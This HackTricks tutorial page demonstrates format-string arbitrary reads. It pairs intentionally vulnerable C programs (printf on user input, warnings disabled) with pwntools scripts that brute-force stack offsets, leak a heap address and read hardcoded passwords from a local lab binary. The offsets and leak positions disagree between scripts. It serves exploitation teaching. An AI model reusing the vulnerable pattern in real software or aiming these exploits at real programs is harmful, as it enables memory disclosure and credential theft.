hacktricks/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

# Format Strings - Arbitrary Read Example

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## Read Binary Start

### Code

```c
#include <stdio.h>

int main(void) {
    char buffer[30];
    
    fgets(buffer, sizeof(buffer), stdin);

    printf(buffer);
    return 0;
}
```

Compile it with:

```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```

### Exploit

```python
from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
```

* The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
  * I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
* The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
* The address selected is 0x00400000 because it's where the binary starts (no PIE)

<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>

## Read passwords

```c
#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
    char stack_password[20] = "secretStackPass"; // Password in stack
    char input1[20], input2[20];

    printf("Enter first password: ");
    scanf("%19s", input1);
    
    printf("Enter second password: ");
    scanf("%19s", input2);

    // Vulnerable printf
    printf(input1);
    printf("\n");
    
    // Check both passwords
    if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
        printf("Access Granted.\n");
    } else {
        printf("Access Denied.\n");
    }

    return 0;
}
```

Compile it with:

```bash
clang -o fs-read fs-read.c -Wno-format-security
```

### Read from stack

The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:

```python
from pwn import *

for i in range(100):
    print(f"Try: {i}")
    payload = f"%{i}$s\na".encode()
    p = process("./fs-read")
    p.sendline(payload)
    output = p.clean()
    print(output)
    p.close()
```

In the image it's possible to see that we can leak the password from the stack in the `10th` position:

<figure><img src="../../.gitbook/assets/image (1234).png" alt=""><figcaption></figcaption></figure>

<figure><img src="../../.gitbook/assets/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>

### Read data

Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:

```python
from pwn import *

def leak_heap(p):
    p.sendlineafter(b"first password:", b"%5$p")
    p.recvline()
    response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
    return int(response, 16)

for i in range(30):
    p = process("./fs-read")

    heap_leak_addr = leak_heap(p)
    print(f"Leaked heap: {hex(heap_leak_addr)}")

    password_addr = heap_leak_addr - 0x126a

    print(f"Try: {i}")
    payload = f"%{i}$p|||".encode()
    payload += b"AAAAAAAA"
    
    p.sendline(payload)
    output = p.clean()
    print(output.decode("utf-8"))
    p.close()
```

And it's possible to see that in the **try 14** with the used passing we can control an address:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

### Exploit

```python
from pwn import *

p = process("./fs-read")

def leak_heap(p):
    # At offset 25 there is a heap leak
    p.sendlineafter(b"first password:", b"%25$p")
    p.recvline()
    response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
    return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()
```

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
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